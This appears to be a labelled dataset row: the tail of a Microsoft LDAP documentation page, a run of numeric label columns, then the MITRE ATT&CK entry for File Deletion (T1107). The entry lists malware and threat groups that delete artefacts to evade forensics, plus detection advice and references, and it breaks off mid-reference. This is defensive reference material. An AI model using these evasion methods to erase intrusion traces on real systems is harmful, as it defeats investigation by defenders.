distinguished name that includes the objectGUID and objectSID for security principal objects such as users, groups, and computers. The LDAP_SERVER_SHOW_DELETED_OID control causes the search results to include data for deleted objects. Be aware that these controls are automatically included in the ADSI implementation. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"File Deletion - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise File Deletion File Deletion Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. [1] ID:\xc2 T1107 Tactic: Defense Evasion Platform:\xc2 Linux, macOS, Windows Permissions Required:\xc2 User Data Sources:\xc2 File monitoring, Process command-line parameters, Binary file metadata Defense Bypassed:\xc2 Host forensic analysis Contributors:\xc2 Walker Johnson Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description ADVSTORESHELL ADVSTORESHELL can delete files and directories. [6] APT18 APT18 actors deleted tools and batch files from victim systems. [120] APT28 APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner. [113] APT29 APT29 used SDelete to remove artifacts from victims. [110] APT3 APT3 has a tool that can delete files. [118] APT32 APT32's macOS backdoor can receive a \xe2\x80\x9cdelete\xe2\x80\x9d command. [121] APT38 APT38 has used a utility called CLOSESHAVE that can securely delete a file from the system. [119] AuditCred AuditCred can delete files from the system. [80] Azorult Azorult can delete files from victim machines. [85] Backdoor.Oldrea Backdoor.Oldrea contains a cleanup module that removes traces of itself from the victim. [63] Bankshot Bankshot marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system. [68] BBSRAT BBSRAT can delete files and directories. [65] Bisonal Bisonal deletes its dropper and VBS scripts from the victim\xe2\x80\x99s machine. [23] BLACKCOFFEE BLACKCOFFEE has the capability to delete files. [41] BRONZE BUTLER The BRONZE BUTLER uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated. [108] Calisto Calisto has the capability to use rm -rf to remove folders and files from the victim's machine. [4] Carbanak Carbanak has a command to delete files. [5] Cardinal RAT Cardinal RAT can uninstall itself, including deleting its executable. [60] Cherry Picker Recent versions of Cherry Picker delete files and registry keys created by the malware. [8] cmd cmd can be used to delete files from the file system. [2] Cobalt Group Cobalt Group deleted the DLL dropper from the victim\xe2\x80\x99s machine to cover their tracks. [7] Denis Denis has a command to delete files from the victim\xe2\x80\x99s machine. [53] [54] Derusbi Derusbi is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes. [81] [36] Dragonfly 2.0 Dragonfly 2.0 deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots. [111] [112] Elise Elise is capable of launching a remote shell on the host to delete itself. [74] Epic Epic has a command to delete a file from the machine. [32] EvilBunny EvilBunny has deleted the initial dropper after running through the environment checks. [98] FALLCHILL FALLCHILL can delete malware and associated artifacts from the victim. [51] FELIXROOT FELIXROOT deletes the .LNK file from the startup directory as well as the dropper components. [43] FIN10 FIN10 has used batch scripts and scheduled tasks to delete critical system files. [107] FIN5 FIN5 uses SDelete to clean up the environment and attempt to prevent detection. [104] FIN8 FIN8 has deleted tmp and prefetch files during post compromise cleanup activities. [58] FruitFly FruitFly will delete files on the system. [34] Gazer Gazer has commands to delete files and persistence mechanisms from the victim. [56] [57] gh0st RAT gh0st RAT has the capability to to delete files. [77] Gold Dragon Gold Dragon deletes one of its files, 2.hwp, from the endpoint after establishing persistence. [20] GreyEnergy GreyEnergy can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API. [72] Group5 Malware used by Group5 is capable of remotely deleting files from victims. [103] HALFBAKED HALFBAKED can delete a specified file. [52] HAWKBALL HAWKBALL has the ability to delete files. [96] Hi-Zor Hi-Zor deletes its RAT installer file as it executes its DLL payload file. [44] Honeybee Honeybee removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection. [102] HTTPBrowser HTTPBrowser deletes its original installer file once installation is complete. [69] Hydraq Hydraq creates a backdoor through which remote attackers can delete files. [37] [38] HyperBro HyperBro has the ability to delete a specified file. [99] InnaputRAT InnaputRAT has a command to delete files. [40] InvisiMole InvisiMole has a command to delete a file and deletes files after they have been successfully uploaded to C2 servers. [33] Ixeshe Ixeshe has a command to delete a file from the machine. [94] JHUHUGIT The JHUHUGIT dropper can delete itself from the victim. Another JHUHUGIT variant has the capability to delete specified files. [14] [15] JPIN JPIN's installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running. [46] jRAT jRAT has a function to delete files from the victim\xe2\x80\x99s machine. [22] Kazuar Kazuar can delete files. [18] KEYMARBLE KEYMARBLE has the capability to delete files off the victim\xe2\x80\x99s machine. [29] Komplex The Komplex trojan supports file deletion. [21] KONNI KONNI can delete files. [71] Lazarus Group Lazarus Group malware deletes files in various ways, including ""suicide scripts"" to delete malware binaries from the victim. Lazarus Group also uses secure file deletion to delete files from the victim. [106] [62] LightNeuron LightNeuron has a function to delete files. [97] Linfo Linfo creates a backdoor through which remote attackers can delete files. [19] LockerGoga LockerGoga has been observed deleting its original launcher after execution. [87] MacSpy MacSpy deletes any temporary files it creates [50] Magic Hound Magic Hound has deleted and overwrote files to cover tracks. [114] [115] menuPass A menuPass macro deletes files after it has decoded and decompressed them. [116] [117] Misdat Misdat is capable of deleting the backdoor file. [82] MoonWind MoonWind can delete itself or specified files. [78] More_eggs More_eggs can remove itself from a system. [7] Mosquito Mosquito deletes files using DeleteFileW API call. [47] MURKYTOP MURKYTOP has the capability to delete local files. [36] NanHaiShu NanHaiShu launches a script to delete their original decoy file to cover tracks. [10] njRAT njRAT is capable of deleting files on the victim. [92] NOKKI NOKKI can delete files to cover tracks. [27] OceanSalt OceanSalt can delete files from the system. [49] OilRig OilRig has deleted files associated with their payload after execution. [100] [101] OopsIE OopsIE has the capability to delete files and scripts from the victim's machine. [35] OSX_OCEANLOTUS.D OSX_OCEANLOTUS.D has a command to delete a file from the system. [55] Pasam Pasam creates a backdoor through which remote attackers can delete files. [45] Patchwork Patchwork removed certain files and replaced them so they could not be retrieved. [105] pngdowner pngdowner deletes content from C2 communications that was saved to the user's temporary directory. [67] PowerDuke PowerDuke has a command to write random data across a file and delete it. [73] POWERSTATS POWERSTATS can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using PowerShell Remove-Item commands. [11] Proton Proton removes all files in the /tmp directory. [34] Proxysvc Proxysvc can delete files indicated by the attacker and remove itself from disk using a batch file. [62] Pteranodon Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes. [39] PUNCHBUGGY PUNCHBUGGY can delete files written to disk. [58] [59] QUADAGENT QUADAGENT has a command to delete its Registry key and scheduled task. [13] Reaver Reaver deletes the original dropped file from the victim. [17] RedLeaves RedLeaves can delete specified files. [28] Remsec Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data. [24] [25] [26] RTM RTM can delete all files created during its execution. [64] RunningRAT RunningRAT contains code to delete files from the victim\xe2\x80\x99s machine. [20] Sakula Some Sakula samples use cmd.exe to delete temporary files. [16] SamSam SamSam has been seen deleting its own files and payloads to make analysis of the attack more difficult. [86] SDelete SDelete deletes data in a way that makes it unrecoverable. [3] SeaDuke SeaDuke can securely delete files, including deleting itself from the victim. [48] Seasalt Seasalt has a command to delete a specified file. [79] ServHelper ServHelper has a module to delete itself from the infected machine. [90] [91] Silence Silence deleted scheduled task files after its execution. [124] SpeakUp SpeakUp deletes files to remove evidence on the machine. [88] SQLRat SQLRat has used been observed deleting scripts once used. [95] StoneDrill StoneDrill has been observed deleting the temporary files once they fulfill their task. [89] TDTESS TDTESS creates then deletes log files during installation of itself as a service. [31] TEMP.Veles TEMP.Veles routinely deleted tools, logs, and other files after they were finished with them. [122] The White Company The White Company has the ability to delete its malware entirely from the target system. [123] Threat Group-3390 Threat Group-3390 has deleted existing logs and exfiltrated file archives from a victim. [109] TYPEFRAME TYPEFRAME can delete files off the system. [12] Ursnif Ursnif has deleted data staged in tmp files after exfiltration. [93] USBStealer USBStealer has several commands to delete files associated with the malware from the victim. [9] VERMIN VERMIN can delete files on the victim\xe2\x80\x99s machine. [30] Volgmer Volgmer can delete files and itself after infection to avoid analysis. [76] WINDSHIELD WINDSHIELD is capable of file deletion along with other file system interaction. [42] Wingbird Wingbird deletes its payload along with the payload's parent process after it finishes copying files. [66] XAgentOSX XAgentOSX contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method. [70] Zebrocy Zebrocy has a command to delete files and directories. [83] [84] Zeus Panda Zeus Panda has a command to delete a file. [61] zwShell zwShell has deleted itself after creating a service as well as deleted a temporary file when the system reboots. [75] Detection It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. References Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015. Microsoft. (n.d.). Del. Retrieved April 22, 2016. Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018. Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018. Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016. Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017. F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018. Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. US-CERT. (2018, June 14). MAR-10135536-12 \xe2\x80\x93 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018. Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016. Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016. Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017. Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018. Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\xe2\x80\x99 Systems. Retrieved June 6, 2018. Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018. Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018. Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016. Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016. Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018. PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017. US-CERT. (2018, August 09). MAR-10135536-17 \xe2\x80\x93 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018. Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017. Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018. Hromcov\xc3\xa1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018. Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018. Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018. Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017. ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018. FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016. Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018. Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016. Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018. Symantec Security Response. (2015, July 13). \xe2\x80\x9cForkmeiamfamous\xe2\x80\x9d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015. Sherstobitoff, R., Malhotra, A. (2018, October 18). \xe2\x80\x98Operation Oceansalt\xe2\x80\x99 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018. PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018. US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \xe2\x80\x93 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017. Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018. Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018. ESET. (2017, August). Gazing at Gazer: Turla\xe2\x80\x99s new second stage backdoor. Retrieved September 14, 2017. Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019. Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018. Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018. Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018. Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017. Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016. Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017. Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016. Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018. Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016. Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017. Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018. Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017. Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\xe2\x80\x99 MEETING AND ASSOCIATES. Retrieved November 14, 2018. McAfee\xc2\xae Foundstone\xc2\xae Professional Services and McAfee Labs\xe2\x84\xa2. (2011, February 10). Global Energy Cyberattacks: \xe2\x80\x9cNight Dragon\xe2\x80\x9d. Retrieved February 19, 2018. US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018. FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016. Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017. Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016. Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018. Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016. Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. ESET. (2018, November 20). Sednit: What\xe2\x80\x99s going on with Zebrocy?. Retrieved February 12, 2019. ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018. Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019. CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \xe2\x80\x93 LockerGoga Ransomware. Retrieved April 16, 2019. Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019. Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019. Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019. Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019. Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: ""njRAT"" Uncovered. Retrieved June 4, 2019. Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019. Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019. Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019. Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019. Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019. Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019. Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018. Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018. Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016. Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017. Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018. Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017. Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017. Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved 